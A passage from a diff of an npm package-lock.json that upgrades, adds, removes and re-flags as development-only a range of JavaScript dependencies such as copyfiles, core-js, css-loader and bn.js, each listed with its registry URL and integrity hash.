- "integrity": "sha512-9e/zx1jw7B4CO+c/RXoCsfg/x1AfUBioy4owYH0bJprEYAx5hRFLRhWBqHAG57D0ZM4H7vxbP7bPe0VwhQRYDQ==",
- "dev": true,
- "requires": {
- "tslib": "^1.9.0"
- }
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/chrome-trace-event/-/chrome-trace-event-1.0.3.tgz",
+ "integrity": "sha512-p3KULyQg4S7NIHixdwbGX+nFHkoBiA4YQmyWtjb8XngSKV124nJmRysgAeujbUVb15vh+RvFUfCPqU7rXk+hZg==",
+ "dev": true
},
"ci-info": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/ci-info/-/ci-info-2.0.0.tgz",
- "integrity": "sha512-5tK7EtrZ0N+OLFMthtqOj4fI2Jeb88C4CAZPu25LDVUgXJ0A3Js4PMGqrn0JU1W0Mh1/Z8wZzYPxqUrXeBboCQ=="
+ "integrity": "sha512-5tK7EtrZ0N+OLFMthtqOj4fI2Jeb88C4CAZPu25LDVUgXJ0A3Js4PMGqrn0JU1W0Mh1/Z8wZzYPxqUrXeBboCQ==",
+ "dev": true
},
"cipher-base": {
"version": "1.0.4",
@@ -3675,10 +6316,17 @@
}
}
},
+ "clean-stack": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/clean-stack/-/clean-stack-2.2.0.tgz",
+ "integrity": "sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A==",
+ "dev": true
+ },
"cli-boxes": {
"version": "2.2.1",
"resolved": "https://registry.npmjs.org/cli-boxes/-/cli-boxes-2.2.1.tgz",
- "integrity": "sha512-y4coMcylgSCdVinjiDBuR8PCC2bLjyGTwEmPb9NHR/QaNU6EUOXcTY/s6VjGMD6ENSEaeQYHCY0GNGS5jfMwPw=="
+ "integrity": "sha512-y4coMcylgSCdVinjiDBuR8PCC2bLjyGTwEmPb9NHR/QaNU6EUOXcTY/s6VjGMD6ENSEaeQYHCY0GNGS5jfMwPw==",
+ "dev": true
},
"cli-cursor": {
"version": "3.1.0",
@@ -3692,17 +6340,26 @@
"cli-spinner": {
"version": "0.2.10",
"resolved": "https://registry.npmjs.org/cli-spinner/-/cli-spinner-0.2.10.tgz",
- "integrity": "sha512-U0sSQ+JJvSLi1pAYuJykwiA8Dsr15uHEy85iCJ6A+0DjVxivr3d+N2Wjvodeg89uP5K6TswFkKBfAD7B3YSn/Q=="
+ "integrity": "sha512-U0sSQ+JJvSLi1pAYuJykwiA8Dsr15uHEy85iCJ6A+0DjVxivr3d+N2Wjvodeg89uP5K6TswFkKBfAD7B3YSn/Q==",
+ "dev": true
+ },
+ "cli-spinners": {
+ "version": "2.6.0",
+ "resolved": "https://registry.npmjs.org/cli-spinners/-/cli-spinners-2.6.0.tgz",
+ "integrity": "sha512-t+4/y50K/+4xcCRosKkA7W4gTr1MySvLV0q+PxmG7FJ5g+66ChKurYjxBCjHggHH3HA5Hh9cy+lcUGWDqVH+4Q==",
+ "dev": true
},
"cli-width": {
"version": "2.2.1",
"resolved": "https://registry.npmjs.org/cli-width/-/cli-width-2.2.1.tgz",
- "integrity": "sha512-GRMWDxpOB6Dgk2E5Uo+3eEBvtOOlimMmpbFiKuLFnQzYDavtLFY3K5ona41jgN/WdRZtG7utuVSVTL4HbZHGkw=="
+ "integrity": "sha512-GRMWDxpOB6Dgk2E5Uo+3eEBvtOOlimMmpbFiKuLFnQzYDavtLFY3K5ona41jgN/WdRZtG7utuVSVTL4HbZHGkw==",
+ "dev": true
},
"clipanion": {
- "version": "2.5.0",
- "resolved": "https://registry.npmjs.org/clipanion/-/clipanion-2.5.0.tgz",
- "integrity": "sha512-VYOMl0h/mZXQC2BWq7oBto1zY1SkPWUaJjt+cuIred1HrmrcX1I2N+LNyNoRy8Iwu9r6vUxJwS/tWLwhQW4tPw=="
+ "version": "2.6.2",
+ "resolved": "https://registry.npmjs.org/clipanion/-/clipanion-2.6.2.tgz",
+ "integrity": "sha512-0tOHJNMF9+4R3qcbBL+4IxLErpaYSYvzs10aXuECDbZdJOuJHdagJMAqvLdeaUQTI/o2uSCDRpet6ywDiKOAYw==",
+ "dev": true
},
"cliui": {
"version": "5.0.0",
@@ -3749,6 +6406,12 @@
}
}
},
+ "clone": {
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/clone/-/clone-1.0.4.tgz",
+ "integrity": "sha1-2jCcwmPfFZlMaIypAheco8fNfH4=",
+ "dev": true
+ },
"clone-deep": {
"version": "4.0.1",
"resolved": "https://registry.npmjs.org/clone-deep/-/clone-deep-4.0.1.tgz",
@@ -3773,24 +6436,15 @@
"version": "1.0.2",
"resolved": "https://registry.npmjs.org/clone-response/-/clone-response-1.0.2.tgz",
"integrity": "sha1-0dyXOSAxTfZ/vrlCI7TuNQI56Ws=",
+ "dev": true,
"requires": {
"mimic-response": "^1.0.0"
}
},
- "co": {
- "version": "4.6.0",
- "resolved": "https://registry.npmjs.org/co/-/co-4.6.0.tgz",
- "integrity": "sha1-bqa989hTrlTMuOR7+gvz+QMfsYQ="
- },
"code-point-at": {
"version": "1.1.0",
"resolved": "https://registry.npmjs.org/code-point-at/-/code-point-at-1.1.0.tgz",
- "integrity": "sha1-DQcLTQQ6W+ozovGkDi7bPZpMz3c="
- },
- "collapse-white-space": {
- "version": "1.0.6",
- "resolved": "https://registry.npmjs.org/collapse-white-space/-/collapse-white-space-1.0.6.tgz",
- "integrity": "sha512-jEovNnrhMuqyCcjfEJA56v0Xq8SkIoPKDyaHahwo3POf4qcSXqMYuwNcOTzp74vTsR9Tn08z4MxWqAhcekogkQ==",
+ "integrity": "sha1-DQcLTQQ6W+ozovGkDi7bPZpMz3c=",
"dev": true
},
"collection-visit": {
@@ -3816,6 +6470,12 @@
"resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz",
"integrity": "sha1-p9BVi9icQveV3UIyj3QIMcpTvCU="
},
+ "colorette": {
+ "version": "1.2.2",
+ "resolved": "https://registry.npmjs.org/colorette/-/colorette-1.2.2.tgz",
+ "integrity": "sha512-MKGMzyfeuutC/ZJ1cba9NqcNpfeqMUcYmyF1ZFY6/Cn7CNSAKx6a+s48sqLqyAiZuaP2TcqMhoo+dlwFnVxT9w==",
+ "dev": true
+ },
"combined-stream": {
"version": "1.0.8",
"resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz",
@@ -3868,7 +6528,8 @@
"concat-map": {
"version": "0.0.1",
"resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz",
- "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s="
+ "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=",
+ "dev": true
},
"concat-stream": {
"version": "1.6.2",
@@ -3886,6 +6547,7 @@
"version": "5.0.1",
"resolved": "https://registry.npmjs.org/configstore/-/configstore-5.0.1.tgz",
"integrity": "sha512-aMKprgk5YhBNyH25hj8wGt2+D52Sw1DRRIzqBwLp2Ya9mFmY8KPvvtvmna8SxVR9JMZ4kzMD68N22vlaRpkeFA==",
+ "dev": true,
"requires": {
"dot-prop": "^5.2.0",
"graceful-fs": "^4.1.2",
@@ -3899,6 +6561,7 @@
"version": "3.1.0",
"resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz",
"integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==",
+ "dev": true,
"requires": {
"semver": "^6.0.0"
}
@@ -3906,7 +6569,8 @@
"semver": {
"version": "6.3.0",
"resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz",
- "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw=="
+ "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==",
+ "dev": true
}
}
},
@@ -3998,31 +6662,151 @@
}
},
"copyfiles": {
- "version": "2.2.0",
- "resolved": "https://registry.npmjs.org/copyfiles/-/copyfiles-2.2.0.tgz",
- "integrity": "sha512-iJbHJI+8OKqsq+4JF0rqgRkZzo++jqO6Wf4FUU1JM41cJF6JcY5968XyF4tm3Kkm7ZOMrqlljdm8N9oyY5raGw==",
+ "version": "2.4.1",
+ "resolved": "https://registry.npmjs.org/copyfiles/-/copyfiles-2.4.1.tgz",
+ "integrity": "sha512-fereAvAvxDrQDOXybk3Qu3dPbOoKoysFMWtkY3mv5BsL8//OSZVL5DCLYqgRfY5cWirgRzlC+WSrxp6Bo3eNZg==",
"dev": true,
"requires": {
"glob": "^7.0.5",
"minimatch": "^3.0.3",
- "mkdirp": "^0.5.1",
+ "mkdirp": "^1.0.4",
"noms": "0.0.0",
"through2": "^2.0.1",
- "yargs": "^13.2.4"
+ "untildify": "^4.0.0",
+ "yargs": "^16.1.0"
+ },
+ "dependencies": {
+ "ansi-regex": {
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.0.tgz",
+ "integrity": "sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg==",
+ "dev": true
+ },
+ "ansi-styles": {
+ "version": "4.3.0",
+ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+ "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+ "dev": true,
+ "requires": {
+ "color-convert": "^2.0.1"
+ }
+ },
+ "cliui": {
+ "version": "7.0.4",
+ "resolved": "https://registry.npmjs.org/cliui/-/cliui-7.0.4.tgz",
+ "integrity": "sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==",
+ "dev": true,
+ "requires": {
+ "string-width": "^4.2.0",
+ "strip-ansi": "^6.0.0",
+ "wrap-ansi": "^7.0.0"
+ }
+ },
+ "color-convert": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+ "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+ "dev": true,
+ "requires": {
+ "color-name": "~1.1.4"
+ }
+ },
+ "color-name": {
+ "version": "1.1.4",
+ "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+ "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==",
+ "dev": true
+ },
+ "emoji-regex": {
+ "version": "8.0.0",
+ "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz",
+ "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==",
+ "dev": true
+ },
+ "is-fullwidth-code-point": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
+ "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==",
+ "dev": true
+ },
+ "mkdirp": {
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz",
+ "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==",
+ "dev": true
+ },
+ "string-width": {
+ "version": "4.2.2",
+ "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.2.tgz",
+ "integrity": "sha512-XBJbT3N4JhVumXE0eoLU9DCjcaF92KLNqTmFCnG1pf8duUxFGwtP6AD6nkjw9a3IdiRtL3E2w3JDiE/xi3vOeA==",
+ "dev": true,
+ "requires": {
+ "emoji-regex": "^8.0.0",
+ "is-fullwidth-code-point": "^3.0.0",
+ "strip-ansi": "^6.0.0"
+ }
+ },
+ "strip-ansi": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.0.tgz",
+ "integrity": "sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==",
+ "dev": true,
+ "requires": {
+ "ansi-regex": "^5.0.0"
+ }
+ },
+ "wrap-ansi": {
+ "version": "7.0.0",
+ "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz",
+ "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==",
+ "dev": true,
+ "requires": {
+ "ansi-styles": "^4.0.0",
+ "string-width": "^4.1.0",
+ "strip-ansi": "^6.0.0"
+ }
+ },
+ "y18n": {
+ "version": "5.0.8",
+ "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz",
+ "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==",
+ "dev": true
+ },
+ "yargs": {
+ "version": "16.2.0",
+ "resolved": "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz",
+ "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==",
+ "dev": true,
+ "requires": {
+ "cliui": "^7.0.2",
+ "escalade": "^3.1.1",
+ "get-caller-file": "^2.0.5",
+ "require-directory": "^2.1.1",
+ "string-width": "^4.2.0",
+ "y18n": "^5.0.5",
+ "yargs-parser": "^20.2.2"
+ }
+ },
+ "yargs-parser": {
+ "version": "20.2.7",
+ "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.7.tgz",
+ "integrity": "sha512-FiNkvbeHzB/syOjIUxFDCnhSfzAL8R5vs40MgLFBorXACCOAEaWu0gRZl14vG8MR9AOJIZbmkjhusqBYZ3HTHw==",
+ "dev": true
+ }
}
},
"core-js": {
- "version": "3.6.5",
- "resolved": "https://registry.npmjs.org/core-js/-/core-js-3.6.5.tgz",
- "integrity": "sha512-vZVEEwZoIsI+vPEuoF9Iqf5H7/M3eeQqWlQnYa8FSKKePuYTf5MWnxb5SDAzCa60b3JBRS5g9b+Dq7b1y/RCrA=="
+ "version": "3.10.1",
+ "resolved": "https://registry.npmjs.org/core-js/-/core-js-3.10.1.tgz",
+ "integrity": "sha512-pwCxEXnj27XG47mu7SXAwhLP3L5CrlvCB91ANUkIz40P27kUcvNfSdvyZJ9CLHiVoKSp+TTChMQMSKQEH/IQxA=="
},
"core-js-compat": {
- "version": "3.6.5",
- "resolved": "https://registry.npmjs.org/core-js-compat/-/core-js-compat-3.6.5.tgz",
- "integrity": "sha512-7ItTKOhOZbznhXAQ2g/slGg1PJV5zDO/WdkTwi7UEOJmkvsE32PWvx6mKtDjiMpjnR2CNf6BAD6sSxIlv7ptng==",
+ "version": "3.10.1",
+ "resolved": "https://registry.npmjs.org/core-js-compat/-/core-js-compat-3.10.1.tgz",
+ "integrity": "sha512-ZHQTdTPkqvw2CeHiZC970NNJcnwzT6YIueDMASKt+p3WbZsLXOcoD392SkcWhkC0wBBHhlfhqGKKsNCQUozYtg==",
"dev": true,
"requires": {
- "browserslist": "^4.8.5",
+ "browserslist": "^4.16.3",
"semver": "7.0.0"
},
"dependencies": {
@@ -4034,16 +6818,11 @@
}
}
},
- "core-js-pure": {
- "version": "3.6.5",
- "resolved": "https://registry.npmjs.org/core-js-pure/-/core-js-pure-3.6.5.tgz",
- "integrity": "sha512-lacdXOimsiD0QyNf9BC/mxivNJ/ybBGJXQFKzRekp1WTHoVUWsUHEn+2T8GJAzzIhyOuXA+gOxCVN3l+5PLPUA==",
- "dev": true
- },
"core-util-is": {
"version": "1.0.2",
"resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz",
- "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac="
+ "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=",
+ "dev": true
},
"cosmiconfig": {
"version": "6.0.0",
@@ -4058,19 +6837,19 @@
}
},
"create-ecdh": {
- "version": "4.0.3",
- "resolved": "https://registry.npmjs.org/create-ecdh/-/create-ecdh-4.0.3.tgz",
- "integrity": "sha512-GbEHQPMOswGpKXM9kCWVrremUcBmjteUaQ01T9rkKCPDXfUHX0IoP9LpHYo2NPFampa4e+/pFDc3jQdxrxQLaw==",
+ "version": "4.0.4",
+ "resolved": "https://registry.npmjs.org/create-ecdh/-/create-ecdh-4.0.4.tgz",
+ "integrity": "sha512-mf+TCx8wWc9VpuxfP2ht0iSISLZnt0JgWlrOKZiNqyUZWnjIaCIVNQArMHnCZKfEYRg6IM7A+NeJoN8gf/Ws0A==",
"dev": true,
"requires": {
"bn.js": "^4.1.0",
- "elliptic": "^6.0.0"
+ "elliptic": "^6.5.3"
},
"dependencies": {
"bn.js": {
- "version": "4.11.8",
- "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.11.8.tgz",
- "integrity": "sha512-ItfYfPLkWHUjckQCk8xC+LwxgK8NYcXywGigJgSwOP8Y2iyWT4f2vsZnoOXTTbo+o5yXmIUJ4gn5538SO5S3gA==",
+ "version": "4.12.0",
+ "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.0.tgz",
+ "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==",
"dev": true
}
}
@@ -4144,12 +6923,13 @@
"crypto-random-string": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/crypto-random-string/-/crypto-random-string-2.0.0.tgz",
- "integrity": "sha512-v1plID3y9r/lPhviJ1wrXpLeyUIGAZ2SHNYTEapm7/8A9nLPoyvVp3RK/EPFqn5kEznyWgYZNsRtYYIWbuG8KA=="
+ "integrity": "sha512-v1plID3y9r/lPhviJ1wrXpLeyUIGAZ2SHNYTEapm7/8A9nLPoyvVp3RK/EPFqn5kEznyWgYZNsRtYYIWbuG8KA==",
+ "dev": true
},
"css-loader": {
- "version": "3.5.3",
- "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-3.5.3.tgz",
- "integrity": "sha512-UEr9NH5Lmi7+dguAm+/JSPovNjYbm2k3TK58EiwQHzOHH5Jfq1Y+XoP2bQO6TMn7PptMd0opxxedAWcaSTRKHw==",
+ "version": "3.6.0",
+ "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-3.6.0.tgz",
+ "integrity": "sha512-M5lSukoWi1If8dhQAUCvj4H8vUt3vOnwbQBH9DdTm/s4Ym2B/3dPMtYZeJmq7Q3S3Pa+I94DcZ7pc9bP14cWIQ==",
"dev": true,
"requires": {
"camelcase": "^5.3.1",
@@ -4157,22 +6937,51 @@
"icss-utils": "^4.1.1",
"loader-utils": "^1.2.3",
"normalize-path": "^3.0.0",
- "postcss": "^7.0.27",
+ "postcss": "^7.0.32",
"postcss-modules-extract-imports": "^2.0.0",
"postcss-modules-local-by-default": "^3.0.2",
"postcss-modules-scope": "^2.2.0",
"postcss-modules-values": "^3.0.0",
- "postcss-value-parser": "^4.0.3",
- "schema-utils": "^2.6.6",
+ "postcss-value-parser": "^4.1.0",
+ "schema-utils": "^2.7.0",
"semver": "^6.3.0"
},
"dependencies": {
+ "ajv": {
+ "version": "6.12.6",
+ "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz",
+ "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==",
+ "dev": true,
+ "requires": {
+ "fast-deep-equal": "^3.1.1",
+ "fast-json-stable-stringify": "^2.0.0",
+ "json-schema-traverse": "^0.4.1",
+ "uri-js": "^4.2.2"
+ }
+ },
+ "ajv-keywords": {
+ "version": "3.5.2",
+ "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz",
+ "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==",
+ "dev": true
+ },
"camelcase": {
"version": "5.3.1",
"resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz",
"integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==",
"dev": true
},
+ "schema-utils": {
+ "version": "2.7.1",
+ "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-2.7.1.tgz",
+ "integrity": "sha512-SHiNtMOUGWBQJwzISiVYKu82GiV4QYGePp3odlY1tuKO7gPtphAT5R/py0fA6xtbgLL/RvtJZnU9b8s0F1q0Xg==",
+ "dev": true,
+ "requires": {
+ "@types/json-schema": "^7.0.5",
+ "ajv": "^6.12.4",
+ "ajv-keywords": "^3.5.2"
+ }
+ },
"semver": {
"version": "6.3.0",
"resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz",
@@ -4498,15 +7307,11 @@
"assert-plus": "^1.0.0"
}
},
- "data-uri-to-buffer": {
- "version": "1.2.0",
- "resolved": "https://registry.npmjs.org/data-uri-to-buffer/-/data-uri-to-buffer-1.2.0.tgz",
- "integrity": "sha512-vKQ9DTQPN1FLYiiEEOQ6IBGFqvjCa5rSK3cWMy/Nespm5d/x3dGFT9UBZnkLxCwua/IXBi2TYnwTEpsOvhC4UQ=="
- },
"debug": {
"version": "2.6.9",
"resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
"integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+ "dev": true,
"requires": {
"ms": "2.0.0"
}
@@ -4514,7 +7319,8 @@
"decamelize": {
"version": "1.2.0",
"resolved": "https://registry.npmjs.org/decamelize/-/decamelize-1.2.0.tgz",
- "integrity": "sha1-9lNNFRSCabIDUue+4m9QH5oZEpA="
+ "integrity": "sha1-9lNNFRSCabIDUue+4m9QH5oZEpA=",
+ "dev": true
},
"decamelize-keys": {
"version": "1.1.0",
@@ -4536,6 +7342,7 @@
"version": "6.0.0",
"resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-6.0.0.tgz",
"integrity": "sha512-aW35yZM6Bb/4oJlZncMH2LCoZtJXTRxES17vE3hoRiowU2kWHaJKFkSBDnDR+cm9J+9QhXmREyIfv0pji9ejCQ==",
+ "dev": true,
"requires": {
"mimic-response": "^3.1.0"
},
@@ -4543,7 +7350,8 @@
"mimic-response": {
"version": "3.1.0",
"resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-3.1.0.tgz",
- "integrity": "sha512-z0yWI+4FDrrweS8Zmt4Ej5HdJmky15+L2e6Wgn3+iK5fWzb6T3fhNFq2+MeTRb064c6Wr4N/wv0DzQTjNzHNGQ=="
+ "integrity": "sha512-z0yWI+4FDrrweS8Zmt4Ej5HdJmky15+L2e6Wgn3+iK5fWzb6T3fhNFq2+MeTRb064c6Wr4N/wv0DzQTjNzHNGQ==",
+ "dev": true
}
}
},
@@ -4564,12 +7372,14 @@
"deep-extend": {
"version": "0.6.0",
"resolved": "https://registry.npmjs.org/deep-extend/-/deep-extend-0.6.0.tgz",
- "integrity": "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA=="
+ "integrity": "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==",
+ "dev": true
},
"deep-is": {
"version": "0.1.3",
"resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.3.tgz",
- "integrity": "sha1-s2nW+128E+7PUk+RsHD+7cNXzzQ="
+ "integrity": "sha1-s2nW+128E+7PUk+RsHD+7cNXzzQ=",
+ "dev": true
},
"default-gateway": {
"version": "4.2.0",
@@ -4581,15 +7391,26 @@
"ip-regex": "^2.1.0"
}
},
+ "defaults": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/defaults/-/defaults-1.0.3.tgz",
+ "integrity": "sha1-xlYFHpgX2f8I7YgUd/P+QBnz730=",
+ "dev": true,
+ "requires": {
+ "clone": "^1.0.2"
+ }
+ },
"defer-to-connect": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/defer-to-connect/-/defer-to-connect-2.0.0.tgz",
- "integrity": "sha512-bYL2d05vOSf1JEZNx5vSAtPuBMkX8K9EUutg7zlKvTqKXHt7RhWJFbmd7qakVuf13i+IkGmp6FwSsONOf6VYIg=="
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/defer-to-connect/-/defer-to-connect-2.0.1.tgz",
+ "integrity": "sha512-4tvttepXG1VaYGrRibk5EwJd1t4udunSOVMdLSAL6mId1ix438oPwPZMALY41FCijukO1L0twNcGsdzS7dHgDg==",
+ "dev": true
},
"define-properties": {
"version": "1.1.3",
"resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.1.3.tgz",
"integrity": "sha512-3MqfYKj2lLzdMSf8ZIZE/V+Zuy+BgD6f164e8K2w7dgnpKArBDerGYpM46IYYcjnkdPNMjPk9A6VFB8+3SKlXQ==",
+ "dev": true,
"requires": {
"object-keys": "^1.0.12"
}
@@ -4635,23 +7456,6 @@
}
}
},
- "degenerator": {
- "version": "1.0.4",
- "resolved": "https://registry.npmjs.org/degenerator/-/degenerator-1.0.4.tgz",
- "integrity": "sha1-/PSQo37OJmRk2cxDGrmMWBnO0JU=",
- "requires": {
- "ast-types": "0.x.x",
- "escodegen": "1.x.x",
- "esprima": "3.x.x"
- },
- "dependencies": {
- "esprima": {
- "version": "3.1.3",
- "resolved": "https://registry.npmjs.org/esprima/-/esprima-3.1.3.tgz",
- "integrity": "sha1-/cpRzuYTOJXjyI1TXOSdv/YqRjM="
- }
- }
- },
"del": {
"version": "4.1.1",
"resolved": "https://registry.npmjs.org/del/-/del-4.1.1.tgz",
@@ -4720,7 +7524,8 @@
"depd": {
"version": "1.1.2",
"resolved": "https://registry.npmjs.org/depd/-/depd-1.1.2.tgz",
- "integrity": "sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak="
+ "integrity": "sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak=",
+ "dev": true
},
"des.js": {
"version": "1.0.1",
@@ -4753,7 +7558,14 @@
"diff": {
"version": "4.0.2",
"resolved": "https://registry.npmjs.org/diff/-/diff-4.0.2.tgz",
- "integrity": "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A=="
+ "integrity": "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A==",
+ "dev": true
+ },
+ "diff-sequences": {
+ "version": "26.6.2",
+ "resolved": "https://registry.npmjs.org/diff-sequences/-/diff-sequences-26.6.2.tgz",
+ "integrity": "sha512-Mv/TDa3nZ9sbc5soK+OoA74BsS3mL37yixCvUAQkiuA4Wz6YtwP/K47n2rv2ovzHZvoiQeA5FTQOschKkEwB0Q==",
+ "dev": true
},
"diffie-hellman": {
"version": "5.0.3",
@@ -4767,9 +7579,9 @@
},
"dependencies": {
"bn.js": {
- "version": "4.11.8",
- "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.11.8.tgz",
- "integrity": "sha512-ItfYfPLkWHUjckQCk8xC+LwxgK8NYcXywGigJgSwOP8Y2iyWT4f2vsZnoOXTTbo+o5yXmIUJ4gn5538SO5S3gA==",
+ "version": "4.12.0",
+ "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.0.tgz",
+ "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==",
"dev": true
}
}
@@ -4778,6 +7590,7 @@
"version": "3.0.1",
"resolved": "https://registry.npmjs.org/dir-glob/-/dir-glob-3.0.1.tgz",
"integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==",
+ "dev": true,
"requires": {
"path-type": "^4.0.0"
